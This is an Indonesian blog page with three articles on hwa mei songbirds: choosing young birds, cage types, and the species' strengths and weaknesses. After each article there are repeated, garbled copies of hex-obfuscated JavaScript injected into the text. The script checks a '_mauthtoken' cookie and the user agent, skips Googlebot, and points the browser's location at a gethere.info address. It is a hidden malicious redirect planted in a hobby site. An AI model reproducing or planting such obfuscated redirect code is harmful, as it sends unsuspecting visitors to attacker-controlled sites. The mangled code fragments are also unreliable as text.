IBX5980432E7F390 Memilih Anakan Burung Hwa Mei Bagus Kupas Triknya - Kicauan Burung Lovebird Ngekek

Memilih Anakan Burung Hwa Mei Bagus Kupas Triknya

Memilih Anakan Burung Hwa Mei Bagus

Memilih anakan burung hwa mei bagus-jika juragan di rumah berniat untuk membeli burung hwa mei yang masih piyikan/anakan,sebaiknya pilihlah ciri anakan hwa mei yang memiliki kualitas unggul.selain mampu untuk membaca kualitas anakan tersebut nantinya,maka ilmu pengetahuan juragan wacana hwa mei juga akan bertambah..

Dalam pembedaan hwa mei jantan dan betina ialah hal yang tidak terlalu sulit bagi penggemar burung yang sudah usang masuk ke dunia burung berkicau. Akan tetapi jikalau penggemar burung yang baru sulit membedakan antara hwa mei jantan dan betina.Memilih Anakan Burung Hwa Mei Bagus

Bagaimana cara membedakan antara hwa mei jantan dan betina? Caranya adalah dengan membedakan suara antara jantan dan betinanya.

Pembedaannya yaitu apabila hwa mei itu jantan maka suaranya akan beragam lantaran hwa mei jantan mampu menirukan burung lain. Sedangkan hwa mei betina bunyinya hanya itu saja lantaran hwa mei betina tidak dapat sama sekali menirukan bunyi burung lainnya.

Mengenal Hwa Mei Muda

Harga hwa mei hutan di pasaran dikatakan sedang (diantara murah dan mahal). Harga ini sangat cocok bagi penggemar burung hwa mei pemula. Burung hwa mei muda mampu di beli di pasar burung. Hwa mei muda tidaklah selalu ada di pasaran, hanya pada bulan-bulan tertentu saja.

Seperti pada bulan April saja. Selain bulan april, hwa mei muda sulit untuk didapatkan di pasar burung ataupun dipenangkaran.

Hwa mei muda ini diambil langsung dari hutan saat umurnya masih muda dan bersama induknya tidaklah usang. Maka dari itu hwa mei muda diberi nama hwa mei muda hutan. Saat umur hwa mei muda sekitar 7 bulan, burung ini sudah mampu berkicau walaupun tidak terlalu lancar.

Apabila kita ingin membeli hwa mei muda di pasar burung merasa kesulitan, maka jangan khawatir kita mampu melihat dari ciri-ciri burung hwa mei muda.

Ciri-ciri yang mudah kita kenali adalah bulunya yang kusam dan berwarna cokelat. Jika bulunya tidak kusam, maka burung tersebut bukanlah hwa mei muda.

Ciri-ciri yang kedua adalah bunyinya yang belum lancar-lancar sekali dan volume bunyinya masih kecil. Apabila burung tersebut merupakan hwa mei dewasa suaranya sudah lancar dan volumenya besar.

Kedua ciri-ciri tersebut sudah mampu menjadi panutan ketika membeli burung hwa mei muda hutan. Hwa mei muda hutan juga mempunyai beberapa kelebihan yang menonjol.

Kelebihan yang pertama yaitu apabila burung ini liar, maka jangan khawatir lantaran burung ini cepat untuk dijinakkan. Kelebihan yang selanjutnya adalah merawatnya lebih bahagia daripada merawat burung lainnya yang lebih sulit.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)m\-)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)da(it)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Kelebihan Kekurangan Induk Burung Hwa Mei
  • Cara Merawat Anakan Burung Hwa Mei 1-5 Bulan
  • Agar Hwa Mei Jantan Berkicau Gacor
  • Cara Membawa Hwa Mei Supaya Tidak Stres
  • Habitat Asal-Usul Burung Hwa Mei Bagus
  • Habitat Kehidupan Burung Hwa mei Dihutan
  • Merawat Burung Hwa Mei Secara Benar
  • Ciri Fisik Burung Hwa Mei HongKong Gacor
  • Cara Menjinakkan Hwa Mei Bakalan Liar
  • Teknik Membawa Burung Hwa Mei Diperjalanan
  • Cara Melatih Dan Memaster Burung Hwa Mei

Jenis Sangkar Burung Hwa Mei Kontes Gacor

Jenis kandang burung hwa mei kontes gacor-Sangkar untuk burung hwa mei juga akan mempengaruhi pamor serta wibawanya,sangkar kualitas kontes maupun untuk sangkar harian dan umbaran,sebaiknya pilih sesuai kecocokan dari burung tersebut.selai jenis sangkar,perhatikan juga kelengkapan di dalamnya..

Sangkar merupakan komponen utama ketika menyiapkan perlengkapan burung sebelum mulai menangkarkannya. Sangkar sangat diharapkan oleh burung, lantaran kandang merupakan daerah burung tidur, bertelur, membesarkan anaknya, makan, minum, dan sebagainya.

Baik itu burung hwa mei maupun burung berkicau lainnya. Sangkar hwa mei mampu dibeli di pasar burung ataupun juga mampu membuatnya sendiri.Jenis Sangkar Burung Hwa Mei Kontes Gacor

Sangkar hwa mei dapat dibeli di pasar burung, harganya pun bervariasi sesuai dengan jenis dan bentuknya. Di pasaran sangkar burung ada banyak ragamnya, ada yang berbentuk kandang bulan dan juga ada yang berbentuk kandang segi empat.

Sangkar yang paling umum dipakai oleh penangkar burung ialah kandang yang berbentuk lingkaran dibandingkan dengan sangkar segi empat.

Sangkar yang berbentuk segi empat merupakan sangkar yang dibentuk untuk pemeliharaan hwa mei pada dikala pertama disangkarkan dan yang masih liar.

Sedangkan kandang yang berbentuk lingkaran digunakan untuk burung yang sudah jinak. Mengapa begitu? Karena kandang bundar tidak efektif untuk burung yang masih liar lantaran jeruji sangkarnya tidak rapat.

Di dalam kandang terdapat beberapa perlengkapan yang perlu dipasang. Beberapa perlengkapan tersebut seolah-olah tempat pakan dan minum, dan tenggeran. Berikut akan dijelaskan beberapa perlengkapan yang telah disebutkan:

Tempat Pakan dan Minum

Tempat pakan dan minum merupakan tempat yang harus disediakan di dalam kandang. Tempat pakan dan minum diletakkan di kawasan yang telah disediakan di kandang.

Tempat yang baik untuk burung ini ialah yang berbentuk plastik. Supaya keindahan sangkar tetap terjaga maka pilihlah daerah yang sama dan sesuai antara daerah pakan dan minumnya.

Ukuran tempat ini harus diadaptasi dengan kandangnya, bila kandang kecil maka daerah pakan dan minumnya bisa dibuat kecil. Dan jikalau tempat kandangnya besar maka kawasan pakan dan minumnya mampu dibuat sedang.

Tenggeran

Tujuan peletakan tenggeran di daerah sangkar ialah supaya burung dapat mencicipi bertengger di pepohonan seolah-olah burung hidup di alam bebas. Tenggeran bisa dibuat dengan kayu ataupun bambu.

Pilihlah kayu yang padat, mengapa begitu? Karena jikalau menentukan kayu yang tidak padat, maka kayu tersebut mampu cepat ringkih. tenggeran juga bisa dibeli di pasar burung.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Cara Membawa Hwa Mei Supaya Tidak Stres
  • Habitat Asal-Usul Burung Hwa Mei Bagus
  • Kelebihan Kekurangan Induk Burung Hwa Mei
  • Supaya Hwa Mei Gacor Dalam Arena Kontes
  • Ciri Fisik Burung Hwa Mei HongKong Gacor
  • Ciri Fisik Anakan Burung Hwa Mei Berkualitas
  • Cara Melatih Dan Memaster Burung Hwa Mei
  • Perawatan Harian Burung Hwa Mei Dewasa
  • Memilih Anakan Burung Hwa Mei Bagus
  • Cara Merawat Anakan Burung Hwa Mei 1-5 Bulan
  • Agar Hwa Mei Jantan Berkicau Gacor

Kelebihan Kekurangan Induk Burung Hwa Mei

Kelebihan kekurangan induk burung hwa mei-jenis burung berkicau banyak memiliki kelebihan sendiri,namun juga memiliki kekurangan semua kelebihan serta kekurangan tersebut sanggup untuk mengimbangi kualitas sebuah burung..

Setiap burung berkicau niscaya mempunyai kelebihan dan kekurangannya. Mustahil bila seekor burung tidak mempunyai kekurangan dan hanya mempunyai kelebihan sekalipun itu burung terbaik seolah-olah hwa mei.

Hwa mei mempunyai kelebihan dan kekurangan seperti burung-burung pada umumnya. Bagaimana cara mengetahui kelebihan dan kelemahan burung hwa mei? Di bawah ini akan dijelaskan apa-apa saja kelebihan dan kelemahan burung hwa mei:Kelebihan Kekurangan Induk Burung Hwa Mei

Kelebihan Burung Hwa Mei

Seperti burung pada umumnya, burung hwa mei mempunyai beberapa kelebihan bukan hanya satu bahkan lebih. Burung hwa mei merupakan burung impor yang paling terpopuler di Indonesia.

Seringnya mendapat juara berkali-kali di kontes burung berkicau menciptakan burung ini semakin disenangi oleh banyak orang. Dari sekian banyak kelebihan-kelebihan hwa mei, di bawah ini akan dijelaskan dua kelebihan hwa mei:

Kelebihan Berkicau dan Bergaya saat Berkicau

Burung hwa mei mempunyai kemampuan berkicau yang sangat ahli. Selain kemampuan berkicaunya yang ahli, burung ini juga mampu bergaya ketika berkicau. Apa itu bergaya ketika berkicau? Bergaya dikala berkicau yaitu ketika burung berkicau, salah satu badannya ikut bergerak. Salah satu kepingan tubuhnya seakan-akan ekor.

Ketika berkicau, burung ini sering menggerak-gerakkan atau bahkan membuatkan ekornya. Apa tujuan dari menggerak-gerakkan atau menyebarkan ekor burung hwa mei? Tujuannya semoga burung mampu menarik perhatian orang yang ada disekitarnya.

Kelebihan Menirukan Kicauan Burung Lain

Kemampuan hwa mei yang kedua adalah dapat menirukan kicauan burung lain. Kemampuan ini merupakan kemampuan yang tidak semua burung mempunyainya. Kemampuan ini tidaklah bawaan dari lahir melainkan melalui proses pemasteran.

Sebelum bisa menirukan kicauan burung lain, burung ini harus dimaster dengan burung lainnya supaya bunyinya bervariasi.

Kekurangan

Sekalipun burung ini merupakan burung yang banyak digemari oleh semua orang dan sering memenangkan kontes burung bukan berarti burung ini tidak mempunyai kelemahan. Di bawah ini akan dijelaskan kelemahan-kelemahan burung hwa mei:

Mentalnya yang Mudah Turun

Pada dikala kontes burung berkicau, terkadang burung ini sering kali turun mentalnya. Kekurangan inilah yang menjadi pertimbangan penggemar burung untuk memelihara burung ini.

Supaya burung tidak praktis turun mental, maka dikala burung sedang sakit jangan sekali-kali membawanya ke arena kontes, karena itu dapat berakibat fatal.

Penjinakkan yang Sulit

Proses penjinakan merupakan proses yang memakan waktu usang. Bukanlah hal yang praktis untuk menjinakkan burung ini, penggemar harus bersabar dan harus menunggu sekitar kurang lebih 8 bulan supaya burung menjadi jinak.

Janganlah salah-salah menjinakkan burung ini, lantaran jikalau salah-salah nantinya suara burung tidak akan manis dikemudian hari.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)co(mp)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Cara Melatih Dan Memaster Burung Hwa Mei
  • Memilih Anakan Burung Hwa Mei Bagus
  • Cara Membawa Hwa Mei Supaya Tidak Stres
  • Cara Menjinakkan Hwa Mei Bakalan Liar
  • Ciri Fisik Burung Hwa Mei HongKong Gacor
  • Cara Mengawinkan Burung Hwa Mei Pertama kali
  • Jenis Sangkar Burung Hwa Mei Kontes Gacor
  • Cara Merawat Anakan Burung Hwa Mei 1-5 Bulan
  • Merawat Burung Hwa Mei Secara Benar
  • Melatih Mental Burung Hwa Mei Menuju Kontes
  • Teknik Membawa Burung Hwa Mei Diperjalanan

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Memilih Anakan Burung Hwa Mei Bagus Kupas Triknya"

Posting Komentar